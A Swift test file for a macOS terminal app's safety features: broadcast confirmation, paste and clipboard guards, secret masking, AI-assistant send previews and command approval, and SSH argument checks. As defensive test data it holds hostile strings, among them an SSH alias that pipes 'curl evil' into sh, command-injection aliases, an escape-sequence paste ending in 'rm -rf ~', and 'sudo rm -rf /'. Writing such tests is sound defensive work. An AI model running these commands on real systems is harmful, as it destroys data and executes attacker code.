SPB Git

Repository Public

SafetyTests.swift 25.5 KB 475 lines swift

1import AIAssistant2import AppKit3import SessionStore4import SettingsModel5import TerminalCore6import WorkspaceKit7import XCTest8@testable import SPTerm910@MainActor11final class BroadcastTests: AppTestCase {12    func testBroadcastIsOffByDefaultAndNeedsConfirmation() async {13        let model = makeModel()14        let window = model.openWindow()15        let a = window.focusedPane!16        let b = model.split(axis: .horizontal, in: window)!17        await start(window, in: model)18        XCTAssertFalse(window.isBroadcasting)1920        // Off: typing in A stays in A.21        model.session(for: a)?.view.typeText("echo solo-$((20+1))\r")22        let solo = await wait { self.text(a, model).contains("solo-21") }23        XCTAssertTrue(solo)24        XCTAssertFalse(text(b, model).contains("solo-21"))2526        // Asking for broadcast only opens the confirmation; nothing is enabled yet.27        model.focus(a, in: window)28        model.perform(.toggleBroadcast, in: window)29        guard case .broadcastConfirm(let tab)? = window.sheet else { return XCTFail("expected the broadcast confirmation sheet") }30        XCTAssertFalse(window.isBroadcasting)31        model.session(for: a)?.view.typeText("echo still-solo-$((1+1))\r")32        _ = await wait { self.text(a, model).contains("still-solo-2") }33        XCTAssertFalse(text(b, model).contains("still-solo-2"))3435        // Confirmed: input is mirrored.36        window.sheet = nil37        model.enableBroadcast(tab: tab, in: window)38        XCTAssertTrue(window.isBroadcasting)39        model.session(for: a)?.view.typeText("echo both-$((40+2))\r")40        let both = await wait { self.text(a, model).contains("both-42") && self.text(b, model).contains("both-42") }41        XCTAssertTrue(both, "broadcast input must reach the other pane")4243        // Turning it off stops mirroring; it is never persisted.44        model.perform(.toggleBroadcast, in: window)45        XCTAssertFalse(window.isBroadcasting)46        XCTAssertFalse(String(data: (try? JSONEncoder().encode(model.currentSnapshot())) ?? Data(), encoding: .utf8)!.contains("broadcastTabs"))47    }4849    func testDestructiveLineIsHeldForTheOtherPanes() async {50        let model = makeModel()51        let window = model.openWindow()52        let a = window.focusedPane!53        let b = model.split(axis: .horizontal, in: window)!54        await start(window, in: model)55        model.enableBroadcast(tab: window.selectedTabID!, in: window)56        let target = "/tmp/spterm-broadcast-\(UUID().uuidString)"57        FileManager.default.createFile(atPath: target, contents: Data("x".utf8))58        defer { try? FileManager.default.removeItem(atPath: target) }5960        // The pane being typed in is an ordinary terminal; what is protected is the fan-out.61        // Use a harmless stand-in for the source pane by typing the line without Return first.62        model.session(for: a)?.view.typeText("rm -rf \(target)")63        XCTAssertNil(window.sheet)64        // Only B receives the held decision: simulate Return reaching the broadcast logic.65        model.session(for: a)?.send(bytes: [0x15])          // clear A's own prompt, keep the test file intact66        model.session(for: a)?.view.typeText("\r")67        guard case .commandConfirm(let confirmation)? = window.sheet else { return XCTFail("a destructive broadcast line must ask first") }68        XCTAssertEqual(confirmation.proposal.text, "rm -rf \(target)")69        XCTAssertEqual(model.gate.requirement(for: confirmation.proposal), .reinforced)70        try? await Task.sleep(for: .milliseconds(400))71        XCTAssertTrue(FileManager.default.fileExists(atPath: target), "B must not have run the command before confirmation")72        // The pane is narrower than the command, so the line may be soft-wrapped in the buffer text.73        XCTAssertTrue(text(b, model).replacingOccurrences(of: "\n", with: "").contains("rm -rf \(target)"), "the text is at B's prompt, without Return")7475        // A standard confirmation is refused for such a line.76        XCTAssertThrowsError(try model.gate.approve(confirmation.proposal, with: .standard))77        // Cancelling clears the line in the other pane.78        confirmation.onCancelled()79        window.sheet = nil80        model.session(for: b)?.send(text: "echo after-cancel\r")81        let cleared = await wait { self.text(b, model).contains("\nafter-cancel") }82        XCTAssertTrue(cleared)83        XCTAssertTrue(FileManager.default.fileExists(atPath: target))8485        // With the typed phrase, the held Return is delivered.86        model.session(for: a)?.view.typeText("rm -rf \(target)")87        model.session(for: a)?.send(bytes: [0x15])88        model.session(for: a)?.view.typeText("\r")89        guard case .commandConfirm(let second)? = window.sheet else { return XCTFail("expected a second confirmation") }90        let approved = try? model.gate.approve(second.proposal, with: .reinforced(typedPhrase: model.gate.confirmationPhrase(for: second.proposal)))91        XCTAssertNotNil(approved)92        if let approved { second.onApproved(approved) }93        let removed = await wait { !FileManager.default.fileExists(atPath: target) }94        XCTAssertTrue(removed, "after explicit confirmation the other pane runs the command")95    }9697    func testTerminalRepliesAreNeverBroadcast() async {98        let model = makeModel()99        let window = model.openWindow()100        let a = window.focusedPane!101        let b = model.split(axis: .horizontal, in: window)!102        await start(window, in: model)103        model.enableBroadcast(tab: window.selectedTabID!, in: window)104        // Let both prompts settle so that only the reply could change B.105        _ = await wait { self.text(a, model).contains("$ ") && self.text(b, model).contains("$ ") }106        try? await Task.sleep(for: .milliseconds(200))107        let before = text(b, model)108        // A program in A asks the terminal for the cursor position; the automatic reply goes to A only.109        model.session(for: a)?.view.feed(text: "\u{1b}[6n")110        let replied = await wait { self.text(a, model).contains("R") }111        XCTAssertTrue(replied, "A's shell should have received the cursor position report")112        try? await Task.sleep(for: .milliseconds(300))113        XCTAssertEqual(text(b, model), before, "the automatic reply must not be mirrored")114    }115}116117@MainActor118final class PasteAndClipboardTests: AppTestCase {119    func testPastePolicy() {120        let model = makeModel()121        let window = model.openWindow()122        let pane = window.focusedPane!123        XCTAssertTrue(model.shouldPasteImmediately("ls -la", pane: pane, isDrop: false))124        XCTAssertNil(window.sheet)125        XCTAssertFalse(model.shouldPasteImmediately("cd /tmp\nrm -rf x\n", pane: pane, isDrop: false))126        guard case .pasteConfirmation(let request)? = window.sheet else { return XCTFail("expected paste confirmation") }127        XCTAssertEqual(request.text, "cd /tmp\nrm -rf x\n")128        window.sheet = nil129        model.settings.pasteConfirmation = .never130        XCTAssertTrue(model.shouldPasteImmediately("a\nb\n", pane: pane, isDrop: false))131        // Escape injection asks even when confirmations are disabled.132        XCTAssertFalse(model.shouldPasteImmediately("echo ok\u{1b}[201~\nrm -rf ~\n", pane: pane, isDrop: false))133        XCTAssertNotNil(window.sheet)134    }135136    func testApprovedPasteIsSanitizedAndDoesNotExecuteByItself() async {137        let model = makeModel()138        let window = model.openWindow()139        let pane = window.focusedPane!140        await start(window, in: model)141        model.sendPasteText(PasteGuard.sanitize("echo pasted-\u{1b}[201~$((6*7))\n"), to: pane)142        let typed = await wait { self.text(pane, model).contains("echo pasted-$((6*7))") }143        XCTAssertTrue(typed)144        try? await Task.sleep(for: .milliseconds(300))145        XCTAssertFalse(text(pane, model).contains("pasted-42"), "a sanitized paste never presses Return")146    }147148    func testClipboardRequestsFollowThePolicy() async {149        let model = makeModel()150        let window = model.openWindow()151        let pane = window.focusedPane!152        await start(window, in: model)153        let board = NSPasteboard.general154        let saved = board.string(forType: .string)155        defer { board.clearContents(); if let saved { board.setString(saved, forType: .string) } }156        board.clearContents()157        board.setString("user-clipboard", forType: .string)158        let payload = Data("from-program".utf8).base64EncodedString()159160        // Default (ask): the clipboard is untouched and a sheet appears.161        model.session(for: pane)?.view.feed(text: "\u{1b}]52;c;\(payload)\u{07}")162        let asked = await wait { if case .clipboardWrite? = window.sheet { return true } else { return false } }163        XCTAssertTrue(asked)164        XCTAssertEqual(board.string(forType: .string), "user-clipboard")165        window.sheet = nil166167        model.settings.clipboardWrite = .deny168        model.session(for: pane)?.view.feed(text: "\u{1b}]52;c;\(payload)\u{07}")169        try? await Task.sleep(for: .milliseconds(300))170        XCTAssertNil(window.sheet)171        XCTAssertEqual(board.string(forType: .string), "user-clipboard")172173        // Reading is refused by default: the program gets nothing back.174        XCTAssertNil(model.session(for: pane)?.clipboardReadProvider?())175        model.settings.clipboardRead = .allow176        XCTAssertEqual(model.session(for: pane)?.clipboardReadProvider?(), "user-clipboard")177    }178179    func testLinkPolicy() {180        XCTAssertEqual(LinkPolicy.decision(forScheme: "https"), .open)181        XCTAssertEqual(LinkPolicy.decision(forScheme: "HTTP"), .open)182        XCTAssertEqual(LinkPolicy.decision(forScheme: "file"), .reveal)183        XCTAssertEqual(LinkPolicy.decision(forScheme: "javascript"), .block)184        XCTAssertEqual(LinkPolicy.decision(forScheme: "x-apple.systempreferences"), .ask)185        XCTAssertEqual(LinkPolicy.decision(forScheme: "ssh"), .ask)186    }187188    func testExportMasksSecrets() {189        let raw = "$ export OPENAI_API_KEY=sk-proj-abcdefghijklmnopqrstuvwxyz0123456789ABCD\n$ curl -H 'Authorization: Bearer abcdef1234567890abcdef1234567890' https://x\nplain line\n\n   \n"190        let masked = SessionExporter.exportText(raw, maskSecrets: true)191        XCTAssertFalse(masked.text.contains("abcdefghijklmnopqrstuvwxyz0123456789"))192        XCTAssertFalse(masked.text.contains("abcdef1234567890abcdef1234567890"))193        XCTAssertTrue(masked.text.contains("plain line"))194        XCTAssertGreaterThanOrEqual(masked.masked, 2)195        XCTAssertTrue(masked.text.hasSuffix("plain line\n"), "trailing blank screen lines are trimmed")196        XCTAssertEqual(SessionExporter.exportText(raw, maskSecrets: false).masked, 0)197        XCTAssertEqual(SessionExporter.sanitizedFileName("a/b:c\n"), "a-b-c-")198    }199}200201@MainActor202final class AssistantSafetyTests: AppTestCase {203    private func configure(_ model: AppModel, baseURL: String = "https://api.anthropic.com") throws -> AIProviderConfig {204        let provider = AIProviderConfig(kind: .anthropic, label: "Test", baseURL: URL(string: baseURL), model: "test-model")205        model.providers = [provider]206        model.settings.assistantActiveProviderID = provider.id207        model.settings.assistantEnabled = true208        try secrets.setSecret(SecretValue("sk-ant-test-0123456789abcdefghijklmnopqrstuvwxyz"), for: provider.id)209        return provider210    }211212    func testNothingIsSentWithoutPreviewAndExplicitSend() async throws {213        let model = makeModel()214        let window = model.openWindow()215        _ = try configure(model)216        let transport = MockTransport(reply: "Try this:\n```sh\nls -la\n```\nor\n```sh\nsudo rm -rf /var/tmp/x\n```")217        let assistant = model.assistant(for: window)218        assistant.transport = transport219        assistant.question = "how do I list files? my key is sk-ant-api03-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcd"220221        // Sending without a preview does nothing.222        await assistant.send(model: model)223        XCTAssertTrue(transport.requests.isEmpty)224        XCTAssertEqual(assistant.requestsSent, 0)225226        // Building the preview performs no I/O and shows the masked payload.227        assistant.makePreview(model: model, window: window)228        let preview = try XCTUnwrap(assistant.preview)229        XCTAssertTrue(transport.requests.isEmpty, "a preview must not touch the network")230        XCTAssertEqual(preview.destinationHost, "api.anthropic.com")231        XCTAssertFalse(preview.payloadText.contains("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"), "secrets are masked in what would be sent")232        XCTAssertFalse(preview.findings.isEmpty)233        XCTAssertEqual(assistant.source, .none, "no terminal content is attached unless chosen")234235        // The explicit send makes exactly one request, carrying the previewed payload.236        await assistant.send(model: model)237        XCTAssertEqual(transport.requests.count, 1)238        let body = String(decoding: transport.requests[0].body, as: UTF8.self)239        XCTAssertFalse(body.contains("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"))240        XCTAssertFalse(body.contains("sk-ant-test-0123456789"), "the API key travels in a header, never in the body")241        XCTAssertFalse(String(describing: transport.requests[0]).contains("sk-ant-test-0123456789"), "request descriptions never reveal the key")242        XCTAssertEqual(assistant.proposals.map(\.text), ["ls -la", "sudo rm -rf /var/tmp/x"])243        XCTAssertNil(assistant.error)244    }245246    func testSuggestedCommandsNeverRunWithoutConfirmation() async throws {247        let model = makeModel()248        let window = model.openWindow()249        let pane = window.focusedPane!250        await start(window, in: model)251        _ = try configure(model)252        let marker = "/tmp/spterm-ai-\(UUID().uuidString)"253        let transport = MockTransport(reply: "```sh\ntouch \(marker)\n```")254        let assistant = model.assistant(for: window)255        assistant.transport = transport256        assistant.question = "create a marker"257        assistant.makePreview(model: model, window: window)258        await assistant.send(model: model)259        let proposal = try XCTUnwrap(assistant.proposals.first)260        try? await Task.sleep(for: .milliseconds(400))261        XCTAssertFalse(FileManager.default.fileExists(atPath: marker), "receiving a suggestion must not execute it")262263        // "Insert" only types the text.264        model.insert(command: proposal.text, into: pane)265        try? await Task.sleep(for: .milliseconds(400))266        XCTAssertFalse(FileManager.default.fileExists(atPath: marker))267        model.session(for: pane)?.send(bytes: [0x15])268269        // "Review & Run" opens the confirmation; only approval executes.270        model.requestRun(command: proposal.text, in: pane, source: "assistant", title: "Run?")271        guard case .commandConfirm(let confirmation)? = window.sheet else { return XCTFail("expected confirmation sheet") }272        try? await Task.sleep(for: .milliseconds(300))273        XCTAssertFalse(FileManager.default.fileExists(atPath: marker))274        let approved = try model.gate.approve(confirmation.proposal, with: .standard)275        confirmation.onApproved(approved)276        let created = await wait { FileManager.default.fileExists(atPath: marker) }277        XCTAssertTrue(created)278        try? FileManager.default.removeItem(atPath: marker)279        // History stays empty unless the user opted in.280        XCTAssertTrue(model.stores.history.entries().isEmpty)281    }282283    func testDestructiveSuggestionNeedsTheTypedPhrase() throws {284        let model = makeModel()285        let window = model.openWindow()286        let pane = window.focusedPane!287        model.ensureSession(for: window.selectedTab!.panes[0])288        model.requestRun(command: "sudo rm -rf /", in: pane, source: "assistant", title: "Run?")289        // No session is running here; the sheet is still built from the proposal.290        guard case .commandConfirm(let confirmation)? = window.sheet else { return XCTFail("expected confirmation sheet") }291        XCTAssertEqual(confirmation.proposal.risk.level, .destructive)292        XCTAssertEqual(model.gate.requirement(for: confirmation.proposal), .reinforced)293        XCTAssertThrowsError(try model.gate.approve(confirmation.proposal, with: .standard))294        XCTAssertThrowsError(try model.gate.approve(confirmation.proposal, with: .reinforced(typedPhrase: "yes")))295    }296297    func testLocalOnlyRefusesRemoteDestinationsBeforeAnyIO() async throws {298        let model = makeModel()299        let window = model.openWindow()300        _ = try configure(model)301        model.settings.assistantLocalOnly = true302        let transport = MockTransport(reply: "hi")303        let assistant = model.assistant(for: window)304        assistant.transport = transport305        assistant.question = "hello"306        assistant.makePreview(model: model, window: window)307        XCTAssertNil(assistant.preview)308        XCTAssertNotNil(assistant.error)309        await assistant.send(model: model)310        XCTAssertTrue(transport.requests.isEmpty)311312        // A loopback endpoint is accepted in local-only mode.313        let local = AIProviderConfig(kind: .openAICompatible, label: "Local", baseURL: URL(string: "http://localhost:11434"), model: "llama")314        model.providers = [local]315        model.settings.assistantActiveProviderID = local.id316        assistant.makePreview(model: model, window: window)317        XCTAssertNotNil(assistant.preview)318        XCTAssertTrue(assistant.preview?.isLocalDestination ?? false)319    }320321    func testSelectionIsOnlyAttachedWhenChosen() async throws {322        let model = makeModel()323        let window = model.openWindow()324        let pane = window.focusedPane!325        await start(window, in: model)326        _ = try configure(model)327        model.session(for: pane)?.send(text: "echo CONFIDENTIAL-OUTPUT-$((3*3))\r")328        _ = await wait { self.text(pane, model).contains("CONFIDENTIAL-OUTPUT-9") }329        let assistant = model.assistant(for: window)330        assistant.question = "what is this?"331        assistant.makePreview(model: model, window: window)332        XCTAssertFalse(try XCTUnwrap(assistant.preview).payloadText.contains("CONFIDENTIAL-OUTPUT"), "terminal output is not attached by default")333        assistant.source = .screen334        assistant.makePreview(model: model, window: window)335        XCTAssertTrue(try XCTUnwrap(assistant.preview).payloadText.contains("CONFIDENTIAL-OUTPUT-9"))336    }337338    func testKeysNeverReachDiskOrSettings() throws {339        let model = makeModel()340        let provider = try configure(model)341        model.saveProviders()342        try model.stores.settings.save(model.settings)343        let needle = "sk-ant-test-0123456789"344        for file in try FileManager.default.contentsOfDirectory(at: root, includingPropertiesForKeys: nil) {345            let content = (try? String(contentsOf: file, encoding: .utf8)) ?? ""346            XCTAssertFalse(content.contains(needle), "\(file.lastPathComponent) contains the API key")347        }348        XCTAssertTrue(try secrets.hasSecret(for: provider.id))349        XCTAssertFalse(String(describing: try XCTUnwrap(secrets.secret(for: provider.id))).contains(needle))350        XCTAssertFalse(String(reflecting: model.providers).contains(needle))351    }352}353354@MainActor355final class RemoteAndRegistryTests: AppTestCase {356    func testSSHLaunchUsesSystemSSHAndNeverWeakensHostKeyChecking() {357        let model = makeModel()358        let (request, problem) = model.launchRequest(for: .ssh(hostAlias: "build-server"))359        XCTAssertNil(problem)360        guard case .program(let executable, let arguments) = request else { return XCTFail("ssh must be started directly, without a shell") }361        XCTAssertEqual(executable, "/usr/bin/ssh")362        XCTAssertEqual(arguments.last, "build-server")363        let joined = arguments.joined(separator: " ").lowercased()364        for forbidden in ["stricthostkeychecking", "userknownhostsfile", "batchmode", "password"] {365            XCTAssertFalse(joined.contains(forbidden), "ssh arguments must not contain \(forbidden)")366        }367    }368369    func testHostileHostNamesAreRefused() {370        let model = makeModel()371        for alias in ["-oProxyCommand=curl evil|sh", "host; rm -rf ~", "host name", "$(reboot)", ""] {372            let (request, problem) = model.launchRequest(for: .ssh(hostAlias: alias))373            XCTAssertNotNil(problem, "“\(alias)” should have been refused")374            if case .program = request { XCTFail("no ssh process may be started for “\(alias)”") }375        }376    }377378    func testFailedSSHSessionIsDiagnosedAndCanBeReconnected() async {379        let model = makeModel()380        let window = model.openWindow(tabs: [TabModel(single: PaneDescriptor(kind: .ssh(hostAlias: "host.invalid")))])381        let pane = window.focusedPane!382        await start(window, in: model)383        let ended = await wait(20) { model.session(for: pane)?.status.isRunning == false }384        XCTAssertTrue(ended, "ssh to a non-resolvable name must exit")385        XCTAssertNotNil(model.paneNotes[pane])386        XCTAssertTrue(model.paneNotes[pane]?.contains("host.invalid") ?? false)387        model.restartSession(pane)388        XCTAssertNil(model.paneNotes[pane])389        XCTAssertTrue(model.session(for: pane)?.status.isRunning ?? false, "manual reconnect starts a new ssh")390    }391392    func testActionRegistryIsCoherent() {393        let chords = AppAction.allCases.compactMap { action in action.defaultChord.map { ($0, action) } }394        let duplicates = Dictionary(grouping: chords, by: { $0.0 }).filter { $0.value.count > 1 }395        XCTAssertTrue(duplicates.isEmpty, "duplicate default shortcuts: \(duplicates.map { "\($0.key): \($0.value.map(\.1.rawValue))" })")396        XCTAssertEqual(Set(AppAction.allCases.map(\.title)).count, AppAction.allCases.count)397        XCTAssertEqual(AppAction.commandPalette.defaultChord, KeyChord("p", [.command, .shift]))398        for (chord, action) in chords {399            XCTAssertFalse(chord.menuKeyEquivalent.isEmpty, action.rawValue)400            XCTAssertTrue(chord.modifiers.contains(.command), "\(action.rawValue) would shadow a key the terminal needs")401        }402        // Standard menu shortcuts are not reused.403        let reserved = [KeyChord("c", .command), KeyChord("v", .command), KeyChord("a", .command), KeyChord("q", .command), KeyChord("h", .command), KeyChord("m", .command)]404        XCTAssertTrue(Set(chords.map(\.0)).isDisjoint(with: reserved))405        XCTAssertNotNil(KeyCodes.code(for: AppSettings().quickTerminalShortcut.key))406    }407408    func testCustomShortcutsAndPalette() {409        let model = makeModel()410        let window = model.openWindow()411        model.settings.keyBindings[AppAction.splitRight.rawValue] = KeyChord("e", [.command, .option])412        XCTAssertEqual(AppAction.splitRight.chord(in: model.settings)?.symbolic, "⌥⌘E")413        let items = model.paletteItems(for: window)414        XCTAssertEqual(Set(items.map(\.id)).count, items.count, "palette ids must be unique")415        XCTAssertEqual(items.first { $0.id == "action.splitRight" }?.shortcut, "⌥⌘E")416        XCTAssertTrue(items.contains { $0.id == "preset.fourPanes" })417        XCTAssertTrue(items.contains { $0.title.hasPrefix("Theme: ") })418        XCTAssertTrue(items.contains { $0.title.hasPrefix("New Tab: ") })419        // Running a palette item acts on the window.420        items.first { $0.id == "action.splitDown" }?.run()421        XCTAssertEqual(window.selectedTab?.panes.count, 2)422        XCTAssertNotNil(Fuzzy.score("spr", in: "Split Right"))423        XCTAssertNil(Fuzzy.score("xyz", in: "Split Right"))424        XCTAssertGreaterThan(Fuzzy.score("split", in: "Split Right")!, Fuzzy.score("split", in: "Reset pane split sizes")!)425    }426427    func testAppearanceSettingsReachEverySession() {428        let model = makeModel()429        let window = model.openWindow()430        let b = model.split(axis: .horizontal, in: window)!431        model.settings.fontSize = 72432        XCTAssertEqual(model.session(for: b)?.view.font.pointSize, 72)433        model.settings.fontSize = 6434        XCTAssertEqual(model.session(for: b)?.view.font.pointSize, 6)435        model.perform(.fontReset)436        XCTAssertEqual(model.session(for: b)?.view.font.pointSize, 13)437        model.settings.appearance = .light438        XCTAssertFalse(model.theme.isDark)439        XCTAssertEqual(window.controller?.window?.appearance?.name, .aqua)440        model.settings.appearance = .dark441        XCTAssertEqual(window.controller?.window?.appearance?.name, .darkAqua)442        model.increaseContrast = true443        XCTAssertTrue(model.theme.isHighContrast)444    }445446    func testSearchAcrossSessions() async {447        let model = makeModel()448        let window = model.openWindow()449        let a = window.focusedPane!450        let b = model.split(axis: .horizontal, in: window)!451        await start(window, in: model)452        model.session(for: a)?.send(text: "echo needle-1 needle-2\r")453        model.session(for: b)?.send(text: "echo haystack\r")454        _ = await wait { self.text(a, model).contains("needle-1 needle-2\n") && self.text(b, model).contains("haystack\n") }455        model.focus(a, in: window)456        window.searchQuery = "needle-\\d"457        window.searchRegex = true458        model.search(in: window, forward: true)459        // At least the two occurrences typed and the two printed (the shell may redraw the line).460        let parts = window.searchSummary.split(separator: "/").compactMap { Int($0) }461        XCTAssertEqual(parts.count, 2, window.searchSummary)462        XCTAssertGreaterThanOrEqual(parts.last ?? 0, 4)463        XCTAssertGreaterThanOrEqual(parts.first ?? 0, 1)464        let counts = model.searchCounts(in: window)465        XCTAssertEqual(counts.map(\.pane), [a])466        window.searchQuery = "needle-(["467        model.search(in: window, forward: true)468        XCTAssertEqual(window.searchSummary, "Invalid regular expression")469        window.searchQuery = "absent-text"470        window.searchRegex = false471        model.search(in: window, forward: true)472        XCTAssertEqual(window.searchSummary, "No results")473    }474}475
Files main
Menu

Theme